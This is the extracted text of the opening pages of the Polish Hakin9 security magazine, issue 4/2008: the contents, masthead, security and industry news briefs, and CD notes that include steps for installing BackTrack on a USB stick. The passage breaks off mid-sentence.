Hakin9 36 (04 2008) PL

background image
background image
background image
background image

SPIS TREŚCI

NARZĘDZIA

14

Norton 360

Wielomodułowe narzędzie do ochrony komputera przed szerokim
wachlarzem zagrożeń, takich jak: spyware, wirusy, rootkity, ataki typu
phishing. Zawiera także moduły: dwukierunkowego firewalla, ochrony
przed wyłudzaniem danych, uwierzytelniania witryn internetowych,
skanowania poczty elektronicznej oraz dodatkową usługę chroniącą
przed atakami zdalnymi.

15

Eset NOD32 Antivirus 3.0 Home

Opis najnowszej wersji dobrze znanego na rynku systemu
antywirusowego. Nod32 jest bardzo szybkim skanerem i co
najważniejsze nie obciążającym systemu komputera. Chroni przed
rożnego rodzaju wirusami, komponentami szpiegującymi (spyware),
reklamowymi (adware) oraz phisingiem.

POCZĄTKI

16

Niebezpieczny jPortal2

Artur pokazuje nam jak ominąć zabezpieczenia systemu jPortal2 oraz
przykładowe luki w tym portalu.

ATAK

20 Hakowanie WIFI

Grzegorz porusza ciekawe i popularne zagadnienie jakim jest WIFI. Opisał
jak wygląda atak na WEP oraz jak złamać WEP przy pomocy ataku PTW.

24 Użytkownik kontra wirusy

90% szkodliwego oprogramowania trafia do naszego komputera,
ponieważ nie przestrzegamy zasad bezpiecznego jego użytkowania.
W artykule są przedstawione niektóre techniki ataków oraz miejsca, w
których ukrywają się trojany.

30 Hakowanie Bluetooth

Do niedawna wielu z nas wydawało się, że ostatnim ogniwem mobilności
w przypadku telefonii są telefony komórkowe. Jednak w miarę odkrywania
nowych możliwości zastosowań tego typu sprzętu nie tylko do typowej
komunikacji głosowej, rozwinęły się technologie, w których komórka jest
tylko elementem łączącym ogniwa łańcucha komunikacyjnego, a sieć
GSM – jednym z dostępnych sposobów na przekazywanie informacji.

36 Przejmowanie wiadomości Gadu-Gadu

Komunikatory internetowe są jednym z coraz częściej
wykorzystywanych sposobów komunikacji międzyludzkiej. Za ich
pomocą prowadzimy luźne pogawędki ze znajomymi, załatwiamy
sprawy zawodowe, a nawet wyznajemy uczucia drugiej osobie.
Czy jednak możemy być pewni tego, że nikt nie podsłuchuje naszej
rozmowy? O tym dowiemy się z tego artykułu.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.

Dyrektor wydawniczy: Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP Manager: Robert Zadrożny

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska

pren@software.com.pl

Wyróżnieni betatesterzy:

Łukasz Witczak, Marcin Kulawinek

Opracowanie CD: Rafał Kwaśny

Druk: 101 Studio, Firma Tęgi

Nakład wersji polskiej 6 000 egz.

Adres korespondencyjny:

Software–Wydawnictwo Sp. z o.o.

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Redakcja dokłada wszelkich starań, by publikowane w piśmie

i na towarzyszących mu nośnikach informacje i programy

były poprawne, jednakże nie bierze odpowiedzialności za

efekty wykorzystania ich; nie gwarantuje także poprawnego

działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością

odpowiednich firm i zostały użyte wyłącznie w celach

informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano

programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu

automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma

w cenie innej niż wydrukowana na okładce – bez zgody

wydawcy – jest działaniem na jego szkodę i skutkuje

odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach:

Hiszpanii, Argentynie, Portugalii, Francji, Belgii,

Luksemburgu, Kanadzie, Maroko, Niemczech,

Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową

w innych krajach europejskich.

Magazyn hakin9 wydawany jest

w 7 wersjach językowych:

PL

ES

CZ

EN

IT

FR

DE

UWAGA!

Techniki prezentowane w artykułach mogą być

używane jedynie we własnych sieciach lokalnych.

Redakcja nie ponosi odpowiedzialności za

niewłaściwe użycie prezentowanych technik

ani spowodowaną tym utratę danych.

background image

SPIS TREŚCI

STAŁE
RUBRYKI

6 W skrócie

Przedstawiamy garść

najciekawszych wiadomości ze

świata bezpieczeństwa systemów

informatycznych i nie tylko.

10 Zawartość CD

Prezentujemy zawartość i sposób

działania najnowszej wersji naszej

sztandarowej dystrybucji hakin9.live.

76 Księgozbiór

Recenzujemy książki Hacking

zdemaskowany – Bezpieczeństwo

sieci – sekrety i rozwiązania oraz

Microsoft /windows /sharePoint

Services 3.0 od środka

78 Felieton

Dla kogo biuletyn bezpieczeństwa.

Ostatecznym etapem każdego procesu

wykrywania luki w oprogramowaniu

jest wykorzystywanie uzyskanych

informacji w celu opublikowania biuletynu

bezpieczeństwa.

82 Zapowiedzi

Zapowiedzi artykułów, które znajdą

się w następnym wydaniu magazynu

hakin9

OBRONA

42 Programy antywirusowe od środka

Dziś programy antywirusowe nie są tym, czym były pierwotnie.
Oprócz wirusów komputerowych wykrywają całą gamę zagrożeń,
wliczając w to konie trojańskie, oprogramowanie szpiegujące, exploity,
phishing, a nawet spam. Choć zagrożenia bywają całkiem różne, do
ich badania wykorzystywane są podobne techniki. Z artykułu dowiesz
się jakie są techniki i algorytmy wykrywania zagrożeń stosowane w
programach antywirusowych.

48 Odzyskiwanie danych

Utrata danych wiąże się często z dużymi stratami, nierzadko także
z finansowymi. Nie ma tu większego znaczenia, czy będzie to
przemyślany atak hakera, działanie wirusa lub trojana, przypadkowe
skasowanie przez użytkownika czy awaria systemu operacyjnego.
Utrata ważnego dokumentu to zawsze duży kłopot – zwłaszcza, jeśli
nie posiada się kopii zapasowych utraconych danych. Z artykułu
dowiesz się jak odzyskać cenne dane.

56 Bezpieczne a niebezpieczne aplikacje

Aplikacje i ich bezpieczeństwo to nie tylko i wyłącznie proces
ich tworzenia, to również modelowanie zagrożeń, projektowanie
rozwiązania oraz architektura. Wszystkie te czynniki składają się na
stworzenie bezpiecznej lub niebezpiecznej aplikacji. Przy tworzeniu
bezpiecznych programów należy zwrócić szczególną uwagę na
kilka istotnych czynników wpływających na ogólne bezpieczeństwo
rozwiązania. Cały tekst bazuje na przykładzie systemu Windows i
aplikacji pisanych na platformie .NET.

60 Robactwo w kodzie

Zastanawiałeś się kiedyś, czy kod, który napisałeś, jest nieskazitelnie
czysty? Czy możesz użyć go na własnej stronie bez obawy, że ktoś
wykryje lukę i zaatakuje system? Bałeś się , że sprzedasz klientowi
skrypt, a jakaś osoba włamie się na stronę? Przeczytaj ten artykuł,
aby ustrzec się przed najbardziej popularnymi błędami w pisaniu
aplikacji internetowych w PHP i MySQL. Autor opisał podstawowe luki
w zabezpieczeniach aplikacji webowych oraz metody obrony przed
atakami hakerów.

BEZPIECZNA FIRMA

66 Ochrona informacji biznesowych

Spośród wszystkich tajemnic prawnie chronionych najbardziej
powszechny charakter w życiu gospodarczym ma tajemnica
przedsiębiorstwa, gdyż dotyczy to wszystkich przedsiębiorców.
Instytucja tajemnicy przedsiębiorstwa służy ochronie zasobów
niematerialnych firmy. Przepisy prawa nie określają, jak należy
chronić aktywa informacyjne, pozostawiając w tym zakresie pełną
swobodę przedsiębiorcom co do metod i sposobów ich ochrony. Z
artykułu dowiesz się jak zapewnić ochronę informacjom biznesowym
oraz jak zastosować najlepsze praktyki i standardy ochrony.

background image

6

W SKRÓCIE

HAKIN9 4/2008

7

MATEUSZ STĘPIEŃ

HAKIN9

4/2008

ZŁOTE BLACHY DLA POLICJANTÓW
ZA WALKĘ Z PIRACTWEM

Policjanci z Komendy Wojewódzkiej Policji
we Wrocławiu, Komendy Wojewódzkiej
Policji w Katowicach oraz Komendy
Rejonowej Policji Warszawa V zostali
nagrodzeni Złotymi Blachami 2007 za
zaangażowanie w walce z przestępstwami
dotyczącymi naruszania praw autorskich.

Policjanci z Wrocławia nagrodzeni

zostali między innymi za: działania mające
na celu ograniczenie bezprawnego
udostępniania plików muzycznych w
sieciach p2p w akademickim systemie
informatycznym na terenie Politechniki
Wrocławskiej. Wykazywali także
nowatorskie rozwiązania w procesie
uzyskiwania i wykorzystywania dowodów
w postępowaniu karnym naruszenia
praw producentów fonograficznych w
zamkniętych sieciach osiedlowych
.

Policjanci z Wydziału do Walki z

Przestępczością Gospodarczą Komendy
Wojewódzkiej Policji w Katowicach
w 2007 r. dokonali wielu istotnych i
spektakularnych akcji wobec podmiotów
i osób rozpowszechniających pirackie
oprogramowanie i korzystających z niego
w celach komercyjnych
.

Natomiast funkcjonariusze z

Komendy Rejonowej Policji Warszawa
V przeprowadzili działania przeciwko
zorganizowanej grupie przestępczej
zajmującej się nielegalnym powielaniem
płyt DVD z filmami i grami PSX oraz ich
dystrybucją na terenie giełdy mieszczącej
się przy ul. Wolumen w Warszawie. W
wyniku realizacji sprawy dokonano
przeszukań i procesowo zabezpieczono
materiały dowodowe w pomieszczeniach
zlokalizowanych na terenie kilku dzielnic
Warszawy
.

Piractwo to przede wszystkim olbrzymia

strata dla producentów i artystów; poza
tym – także dla Skarbu Państwa, bo każda

legalnie sprzedana płyta to podatek, to
pieniądze odprowadzone do Skarbu
Państwa
– powiedział dziennikarzom
nadkom. Zbigniew Urbański z Komendy
Głównej Policji.

Nagrody, jak co roku, przyznawane są

przez Koalicję Antypiracką, którą tworzą
przedstawiciele: przemysłu muzycznego
– Związek Producentów Audio Video,
producentów oprogramowania
komputerowego – Business Software
Alliance, przemysłu filmowego – Fundacja
Ochrony Twórczości Audiowizualnej.

BILL GATES WYSTĄPIŁ W LAS
VEGAS PODCZAS OTWARCIA
DOROCZNEJ KONFERENCJI
CONSUMER ELECTRONICS SHOW

Bill Gates wystąpił w Las Vegas
podczas otwarcia dorocznej konferencji
Consumer Electronics Show (CES)
200
8. W swoim wystąpieniu Bill Gates
podkreślił, że ostatnie lata można zaliczyć
do pierwszej, trwającej od 2001 roku,
prawdziwej Cyfrowej Dekady : Odkąd
po raz pierwszy mówiłem o Cyfrowej
Dekadzie w 2001 roku, tempo wzrostu
popularności technologii cyfrowych,
dzięki którym zmienia się sposób, w
jaki pracujemy, uczymy się i bawimy,
było ogromne. Mimo to, nadal jesteśmy
na początku drogi prowadzącej do
zmian, jakie wniesie w nasze życie
technologia. Kolejna cyfrowa dekada
przyniesie nam jeszcze większe
korzyści wynikające z użytkowania
nowych technologii
– powiedział Bill
Gates. W swoim wystąpieniu Bill Gates
poinformował również m. in. o umowach
zawartych pomiędzy Microsoft a
Disney
-ABC Television Group, NBC
Universal
oraz Metro-Goldwyn-Mayer
Studios Inc
. (MGM). Efektem umowy
pomiędzy Microsoft i NBC Universal
będzie możliwość dostępu do licznych
materiałów filmowych i zdjęciowych
związanych z tegorocznymi Igrzyskami
Olimpijskimi, które odbędą się w Pekinie.
Gates poinformował również, że stacje
telewizyjne ABC Television oraz Disney
Chanel
nawiążą współpracę z serwisem
Xbox Live i będą dostępne do pobrania
bezpośrednio na konsolę Xbox 360.

Było to jego jedenaste wystąpienie

na Consumer Electronics Show w

ciągu piętnastu lat, ale tym razem
bardzo szczególne – gdyż Bill Gates
po raz ostatni przemawiał jako etatowy
pracownik Microsoftu. Od sierpnia
tego roku założyciel korporacji zmienia
priorytety, planuje on zrezygnować z
bieżącego, codziennego funkcjonowania
jako Chief Software Architect na rzecz
założonej w 2000 roku fundacji Bill &
Melinda Gates Foundation
, która operuje
majątkiem niemal 30 mld USD, realizując
cele z zakresu poprawy globalnych
problemów zdrowia i edukacji.

Bill Gates urodził się 28 października

1955 roku w Seattle, w stanie
Washington. Jego ojciec William H. Gates
był prawnikiem, a matka nauczycielką. Bill
skończył elitarne liceum Lakeside School,
w 1973 roku rozpoczął studia na Harvard
University
, gdzie poznał Steve'a Balmera
– przyszłego partnera biznesowego.
Studiów jednak nie ukończył, ponieważ
w szybkim tempie zaczęła rozwijać się
firma realizująca wizje początkującego
informatyka. Tym samym, w 1975
roku powstał Microsoft Corporation
przyjacielska spółka Billa Gates'a i
Paula Allena. Gates uczynił Microsoft
jedną z najszybciej rozwijających się,
ale też i najbardziej krytykowanych za
metody działania firm informatycznych.
Jej najbardziej znane produkty to system
operacyjny QDOS (potem MS-DOS),
rodzina systemów Microsoft Windows
oraz pakiet biurowy Microsoft Office.

NASZA-KLASA.PL MA PROBLEMY Z
PRYWATNOŚCIĄ

Generalny Inspektor Ochrony Danych
Osobowych Michał Serzycki przeprowadzi
kontrolę portalu Nasza-klasa.pl, aby
zbadać, czy zamieszczane tam dane
osobowe są bezpieczne. Sprawa jest
bardzo poważna, gdyż szczegółowe

background image

6

W SKRÓCIE

HAKIN9 4/2008

7

MATEUSZ STĘPIEŃ

HAKIN9

4/2008

informacje o sobie zamieściło na
portalu już prawie 6 milionów Polaków
– informacje, które są dostępne
dla każdego, o ile ten, który je
podaje, nie zablokuje konkretnego
użytkownika. Kontrola nie ma charakteru
restrykcyjnego. Nie chcemy zamykać
portalu, ale służyć pomocą. Być
może będziemy mogli podpowiedzieć
jakieś rozwiązania
– powiedział na
konferencji prasowej Michał Serzycki.
Dodał, że administratorzy portalu
zostali powiadomieni o kontroli, która
ma się odbyć w siedzibie spółki we
Wrocławiu. Jestem pewien, że nie
będzie z tym problemów. Ze strony
ludzi, którzy tak wiele miejsca poświęcili
zagadnieniu ochrony danych, możemy
się spodziewać dobrej współpracy

– powiedział Serzycki.

Twórca Naszej-Klasy.pl, Maciej

Popowicz, zapewnia, że portal stara się,
by dane użytkowników były bezpieczne,
choć do tej pory bezpieczeństwo nie
było priorytetem twórców serwisu.
Popowicz zapewnia, że w ciągu kilku
tygodni zostaną wprowadzone nowe

funkcjonalności, które podniosą poziom
bezpieczeństwa. Jedną z nich będzie
możliwość ustawienia swojego profilu
jako dostępny tylko dla znajomych
– podobne rozwiązania stosuje m.
in. amerykański serwis społeczności
internetowej – MySpace, w którym
zarejestrowanych jest ponad 150
milionów osób z całego świata.

Portal Nasza-klasa.pl wystartował

w listopadzie 2006 r. We wrześniu
zeszłego roku 20% udziałów w portalu
kupił niemiecki fundusz inwestycyjny
European Founders. Obecnie wartość
całego serwisu szacowana jest na 20
mln zł. Dziennie internauci generują
ruch rzędu 150 mln odsłon (Megapanel
PBI
/Gemius). Twórcą Naszej-Klasy.pl
jest student informatyki Maciej Popowicz
z Wrocławia, który dokonał jednej z
największych transakcji w polskim
Internecie i stał się najbogatszym
studentem w naszym kraju.

OPTYMALIZACJA ROUTINGU WAN

Firma Passus, oferująca programowe
i sprzętowe rozwiązania do
monitorowania, testowania, analizy oraz
modelowania sieci informatycznych i
telekomunikacyjnych, wprowadziła do
oferty oprogramowanie PfR Manager
firmy Fluke Networks
. Pozwala ono na
optymalizację tras w sieciach WAN z
wykorzystaniem nowej, opracowanej
przez Cisco, technologii Performance
Routing
(PfR). PfR Manager jest
oprogramowaniem uruchamianym
na działającym pod kontrolą systemu
Windows serwerze użytkownika.
Rozwiązanie działa na podstawie reguł
aplikacji i ruchu sieciowego, jak również
systemu priorytetów. Umożliwia ponadto
optymalizację automatycznego routingu
za pomocą ulepszonej konfiguracji i
administracji. Korzyści z zastosowania
rozwiązania PfR Manager to:

• redukcja kosztów działania sieci,

dzięki konfiguracji, która zapewnia
pełne wykorzystanie wszystkich łączy
WAN, w tym nieużywanych do tej
pory łączy zapasowych,

• lepsza wydajność sieci oraz krótsze

czasy reakcji, dzięki optymalnej
konfiguracji, monitorowaniu

dynamicznego routingu oraz ciągłym
pomiarom wydajności,

• uproszczone raporty, ułatwiające

aktywację pomiarów bazowych oraz
uproszczony system weryfikacji w
oparciu o umowy SLA .

Rozwiązania Enterprise Performance
Management
firmy Fluke Networks
przeznaczone są do aktywnego
zarządzania zasobami sieciowymi. To
nowość w dynamicznie rozwijającym
się obszarze Enterprise Performance
Management
(dostarczanie aplikacji,
usług VoIP i zarządzanie wydajnością
w zbieżnym środowisku sieci
przedsiębiorstwa).

Firma Passus sp. z o. o. powstała

w 1992 roku i działa w branży
informatyczno-telekomunikacyjnej.
W ofercie firmy można znaleźć całą
gamę produktów przeznaczonych
dla różnych typów sieci. Passus jest
przedstawicielem m. in. firm Fluke
Networks
, AirMagnet i OPNET.

POWAŻNE DZIURY WE FLASHU

Specjaliści z Google, wraz ze
znaną firmą specjalizującą się w

background image

8

W SKRÓCIE

HAKIN9 4/2008

9

MATEUSZ STĘPIEŃ

HAKIN9

4/2008

zabezpieczeniach, poinformowali
o znalezieniu niebezpiecznej luki w
Adobe Flash, popularnej technologii
umożliwiającej m. in. tworzenie animacji
z wykorzystaniem grafiki wektorowej na
zasadzie klatek kluczowych. Odkryta luka
pozwala na przeprowadzenie ataku typu
XSS. Mnóstwo ludzi jest narażonych, a
póki co nie ma innego zabezpieczenia
niż usunięcie obiektów Flash i czekanie
na reakcję ze strony producenta

– powiedział Alex Stamos, jeden z
członków zespołu, który odkrył błędy w
technologii Flash.

KONIEC NETSCAPE NAVIGATORA

AOL, właściciel Netscape Navigator,
jednej z pierwszych przeglądarek
internetowych w historii globalnej sieci,
ogłosił zakończenie dalszego rozwoju

i wsparcia technicznego tej aplikacji
z dniem 1 lutego 2008. Powodem
podjęcia takiej decyzji jest malejące
zainteresowanie produktem. Pierwsza
wersja programu pojawiła się w roku
1994, ostatnia, 9. wersja przeglądarki
ukazała się w 2007 r.

NOWY FIREFOX DZIURAWY

Izraelski specjalista ds. Bezpieczeństwa,
Aviv Raff, wykrył poważną lukę w
zabezpieczeniach Firefoksa 2.0.0.11,
która pozwala na przeprowadzenie
udanego ataku typu phishing
– wyświetlając standardowe okienko
służące do autoryzacji. Wpisywane dane
uwierzytelniające mogą być przesłane
pod inny adres – dzięki temu atakujący
może oszukać użytkownika, przekonując
go, że okienko wyświetlane jest przez
zaufaną witrynę. Przedstawiciele

Fundacji na razie ograniczyli się
jedynie do poinformowania, że
sprawdzają doniesienia o błędzie. Jako
tymczasowe obejście problemu Aviv Raff
proponuje unikać witryn, które stosują
uwierzytelnianie podstawowe, opierając
proces pozyskiwania loginu i hasła
o okno będące elementem interfejsu
przeglądarki.

BŁĄD W EXCELU

Gigant z Redmond – firma Microsoft
– poinformowała o poważnym błędzie
występującym w Excelu.
Z informacji przekazanych przez
Microsoft wynika, że błąd od kilku
dni wykorzystywany jest już przez
internetowych przestępców, którzy
rozsyłają e-maile z załączonymi
odpowiednio spreparowanymi plikami
.xls. Otwarcie sfałszowanego pliku
powoduje uruchomienie i zainstalowanie
w systemie złośliwego kodu
umożliwiając napastnikowi przejęcie
pełnej kontroli nad zaatakowaną
maszyną. Luka występuje w MS Office
Excel 2003 SP2
, Excel Viewer 2003,
Excel 2002 i Excel 2004 for Mac, jednak
Excel 2007, Excel 2003 SP3 oraz Excel
2008 for Mac
są bezpieczne.

POPRAWKI DLA FREEBSD

Developerzy systemu FreeBSD
udostępnili poprawki dla licznych
luk w systemie, które umożliwiają
przeprowadzenie ataku typu DoS,
zdalne wykonanie kodu i dają dostęp do
przechowywanych w systemie informacji.
Jeden z błędów występuje w funkcji

inet _ network()

, odpowiedzialnej

za zamianę nazw DNS na adresy IP
i odwrotnie. Przekazanie do funkcji
odpowiednich parametrów może
wywołać błąd przepełnienia bufora i,
w efekcie, wykonanie dowolnego kodu.
Kolejna dziura pozwalała napastnikowi
odczytywać informacje z terminala
należącego do innego użytkownika. Błąd
występuje w funkcji openpty(), która nie
ustawia bezpiecznych praw dostępu
dla pliku specjalnego skojarzonego z
urządzeniem pseudoterminala. W efekcie
użytkownicy byli w stanie wzajemnie
odczytywać zawartość swoich terminali.

SUN PRZEJMUJE TWÓRCĘ BAZ
DANYCH MYSQL

Jeden z najważniejszych
producentów sprzętu komputerowego,
oprogramowania komputerowego i
rozwiązań sieciowych – firma Sun
Microsystems
– ogłosiła osiągnięcie
porozumienia w sprawie nabycia za 1
mld USD szwedzkiej firmy MySQL AB,
której bazy danych, oparte na otwartym
kodzie źródłowym, stosowane są
powszechnie na całym świecie przez
aplikacje WWW.
Firma Sun Microsystems ma nadzieję,
że przejęcie MySQL umocni w
znaczący sposób jej pozycję na
rynku rozwiązań IT stosowanych w
przedsiębiorstwach. Sun zapłaci 800
mln dolarów gotówką, dalsze 200 mln
USD zostanie przekazane w opcjach na
akcje. Serwer MySQL znany i ceniony
jest przede wszystkim ze względu na
swoją niebywałą wydajność i szybkość
działania. Świetnie nadaje się do obsługi
projektów internetowych, ale nie tylko
– z powodzeniem używany jest również
w wielkich projektach informatycznych
organizacji takich, jak chociażby NASA .
Systemem Zarządzania Relacyjnymi
Bazami Danych – MySQL dostępny
jest na wszystkie popularne platformy
systemowe.

background image

8

W SKRÓCIE

HAKIN9 4/2008

9

MATEUSZ STĘPIEŃ

HAKIN9

4/2008

ALTKOM DYKTUJE NOWE TRENDY
NA RYNKU PRACY IT

Program stażowy Enter 2008 dla młodej
kadry informatycznej w Altkom Software
& Consulting Relacje pracodawca -
pracownik w firmach IT w Polsce ulegają
ostatnio dość silnym przeobrażeniom.
Z jednej strony jest to efekt deficytu
wysoko wyspecjalizowanej kadry, z
drugiej – godny naśladowania trend,
będący przejawem wysokiej kultury
pracodawcy, nowoczesności firmy i jej
proeuropejskiej orientacji.

Jedną z takich firm, promujących

nowe jakości współpracy, jest Altkom S.A.,
pomysłodawca i organizator jedynego na
polskim rynku programu stażowego dla
młodej kadry IT o nazwie Enter.

Enter to rewolucyjny program

stażowy, którego celem jest
pozyskanie z rynku pracy grupy 24
młodych informatyków, umożliwienie
im odbycia intensywnego kursu w
obrębie wybranej ścieżki zawodowej
(do wyboru: programista Java,
programista .Net, analityk) i 18-
miesięcznego stażu w Altkom Software
& Consulting. Szkolenie teoretyczne i
praktyczne trwa trzy miesiące. W jego
trakcie stażyści otrzymują wysokie
stypendium oraz atrakcyjny pakiet
socjalny. Po zakończeniu szkoleń z
udziałem najlepszych wykładowców
Altkom Akademii i zdaniu egzaminów
certyfikacyjnych (Microsoft, Sun, OMG)
uczestnicy programu są kwalifikowani
do płatnego stażu w Altkom Software
& Consulting. W tym czasie mają
możliwość uczestniczenia we wszystkich
pracach pionu, wyjazdów do klientów
zagranicznych firmy, dalszego
kształcenia się. Ich wynagrodzenie jest
też znacznie wyższe, niż stypendium
oferowane na pierwszym etapie. Po
zakończeniu stażu uczestnicy programu
stają się równoprawnymi pracownikami
firmy. Mogą nadal rozwijać się w obrębie
struktury firmy, starać się o awanse i
korzystać z systemów motywacyjnych.

Altkom inwestuje w potencjał

ludzki – mówi Adam Lejman, dyrektor
Altkom Software & Consulting. Ma to
związek ze znacznym poszerzeniem
portfela klientów i wynikającym z tego
zwiększonym zapotrzebowaniem na
różne usług
i. Altkom potrzebuje wciąż

nowych pracowników, dlatego prowadzi
stały nabór. Nie boi się też zainwestować
w proces ich kształcenia Prezes Altkom
Akademii S.A. Tadeusz Alster liczy na
to, że wybrani przez niego kandydaci,
zdecydują się związać z firmą na dłużej
i w niej właśnie będą urzeczywistniać
swoje ambicje zawodowe. Ci, którzy po
zakończeniu stażu, nie zechcą pracować
w Altkom Software & Consulting, zasilą
kadry najwyższej klasy specjalistów IT
na polskim rynku pracy. Sprawdzonym
przepisem na sukces naszej firmy
jest wdrażanie nowych idei w obrębie
własnego centrum szkoleniowego.
Trzymamy się tego od lat. Dzięki
temu możemy realizować najbardziej
skomplikowane projekty na wielu
platformach technologicznych, kreować
nowe obszary biznesowe i wpływać na
kształt rynku pracy w sektorze IT w Polsce.
Przykład idzie z góry, a tym razem znów
idzie od nas
– mówi prezes Alster.

O tym, jak bardzo potrzebny jest

to program, świadczą wypowiedzi
uczestników jego zeszłorocznej,
pierwszej w historii programu, edycji.
Dwudziestopięcioletnia uczestniczka
programu Enter 2007, absolwentka
Politechniki Wrocławskiej, zaraz po
studiach wzięła udział w naborze do
programu i dołączyła do elitarnej grupy 24
stażystów. Dziś pracuje w Altkom Software
& Consulting w Warszawie na stanowisku
analityka i tak mówi o programie, który
zapoczątkował jej karierę: Enter to
program rewolucyjny jak na polskie realia.
Mało jest takich firm, które decydują
się zainwestować w swoich przyszłych
pracowników, nie mając stuprocentowej
pewności, czy inwestycja okaże się
strzałem w dziesiątkę. Proponowane
w ramach tego programu warunki
rozwoju zawodowego i perspektywy
na przyszłość są bardzo obiecujące.
Możliwość dalszego dokształcenia się
zwiększa dodatkowo szanse kandydata
na rynku pracy. Co więcej, możemy
śmiało powiedzieć, że to praca sama
nas znalazła. Oszczędzono nam być
może wielu bolesnych doświadczeń.
Mam nadzieję, że młodzi ludzie będą
chętnie korzystali z możliwości kształcenia
w zawodzie programisty lub analityka
- szczególnie, jeśli do pracy w tych
zawodach będą aplikować z zupełnie

innej branży. Program Enter to szansa
na rozwój pod czujnym okiem wysokiej
klasy specjalistów. A takiej okazji nie wolno
przegapić
.

W tym roku organizator zadbał o to, by

oferta edukacyjna w ramach programu,
była szczególnie atrakcyjna
- informuje
Jacek Chmiel, dyrektor w Altkom Software
& Consulting, odpowiedzialny za program
szkoleń. Oferujemy pakiet profesjonalnych
szkoleń Altkom Edukacji z zakresu Java
+ Oracle, Microsoft .NET + SQL Server,
a także zaawansowane szkolenia
dla analityków (Podstawy technologii
obiektowej, analiza i projektowanie
z wykorzystaniem UML 2.0, zasady
modelowania procesów biznesowych przy
wykorzystaniu notacji BPMN). Szkolenia
te będą uzupełnione praktycznymi
warsztatami pod okiem doświadczonych
ekspertów z Altkom Software & Consulting,
pracujących na co dzień w ambitnych
projektach o dużej skali i złożoności
.

Po zakończeniu programu

stażowego Enter w Altkom
Software & Consulting stażysta
jest przygotowany do wykonywania
najbardziej skomplikowanych zadań i
współpracy z firmami, korzystającymi
z zaawansowanych rozwiązań
informatycznych. Na programie Enter
obie strony wiele zyskują: stażyści
otrzymują rzadką szansę na start do
kariery w informatycznej ekstraklasie,
Altkom – świetnie wyszkolonych
specjalistów, ukształtowanych według
własnych norm i koncepcji.
Altkom Software & Consulting

Partner Programu:
NZS Drogowskazy Kariery

Patroni Medialni:
hakin9, Software Developer’s
Journal, Linux Magazine,
www.businessman.pl, www.KarieraIT.pl,
www.PracaDlaStudenta.pl

background image

10

NA CD

HAKIN9 4/2008

11

HAKIN9.LIVE

HAKIN9

4/2008

Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3

on BackTrack2.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały

dodatkowe do artykułów.

ZAWARTOŚĆ CD

Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po

uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez

podawania hasła.

JAK ZACZĄĆ

PROGRAMY

• Advanced EFS Data Recovery,
• Advanced Registry Tracer,
• Proactive Password Auditor,
• ArcaVir 2008 System Protection z

modułem Administratora,

• Panda antywirus 2008.

FILMY INSTRUKTAŻOWE

Szósty odcinek: Atak SQL Injection –
Błędy w użyciu funkcji

include()

. Kolejny

odcinek z serii filmów instruktażowych,
przedstawiający najpopularniejsze
metody ataków na strony internetowe.

BACKTRACK2.0 NA SWOIM PENDRIVIE

Utwórz partycję na pendrivie:

# fdisk /dev/sda

Uwaga: Jeśli posiadasz dyski SCSI lub
SATA, sprawdź gdzie są umieszczone

/dev/sda

może być Twoim dyskiem systemowym!
Wykasuj wszystkie istniejące partycje
(wciśnij d oraz Enter, później wprowadź
ilość partycji – od 1 do 4).

Aby sprawdzić obecny stan partycji,

wprowadź p. Później zacznij tworzyć
nową partycję FAT32 – o wielkości około
800 MB.

W tym celu wciśnij n, zatwierdzając

klawiszem Enter. Zacznij od początku
i ustal wielkość tworzonej partycji lub
wciśnij jeszcze raz Enter, aby użyć całego
urządzenia.

Rodzaj partycji musi zostać zmieniony

na FAT32 – wprowadź t i odpowiedz b na
pojawiające się pytanie.

Musimy teraz sprawić, żeby nowa

partycja była bootowalna. Wpisz a, a
następnie wprowadź numer partycji
1. Teraz wpisz w w celu zapamiętania
zmian.

PLIKI

Na początku utwórz na nowej partycji
system plików:

# mkfs.vfat /dev/sda1

Teraz zdefiniuj punkt montowania
tworzonego systemu plików:

# mount /dev/

sda1 /mnt/usb

Skopiuj pliki hakin9 live do

przygotowanej lokalizacji:

# cp -a /mnt/cdrom/* /mnt/usb/

Niektóre struktury plików powinny zostać
usunięte:

# cd /mnt/usb/
# rm boot/vmlinuz
# rm boot/initrd.gz

W /mnt/usb powinien znajdować się
plik syslinux.cfg. Po tej operacji wykonaj
następujące polecenia:

# umount /dev/usb/
# syslinux /dev/sda1

W przypadku problemów wydaj
polecenie:

# syslinux-nomtools /dev/sda1

Zrestartuj teraz maszynę i w BIOSie
ustaw bootowanie z USB-HDD,
utworzyłeś w pełni funkcjonalny
system na swoim pendrivie.
Pamiętaj, że bootowanie z USB jest
obsługiwane jedynie przez nowe płyty
główne. Obecnie cała operacja jest
możliwa tylko z pendrive'ami, które
posiadają sektor y o rozmiarze 512
bajtów.

ADVANCED EFS DATA RECOVERY

Advanced EFS Data Recovery (AEFSDR)
– to aplikacja do odzyskiwania
(rozszyfrowania) plików znajdujących się
na partycjach NTFS i zaszyfrowanych
za pomocą Encrypted File System
(EFS).

Program obsługuje następujące

systemy operacyjne:

• Windows 2000,
• Windows XP,
• Windows 2003 Server.

Program umożliwia rozszyfrowanie
plików nawet w przypadku, gdy system
nie ładuje się lub są uszkodzone
niektóre zapisy o kluczach szyfrowania.
W systemie Windows 2000 możliwy
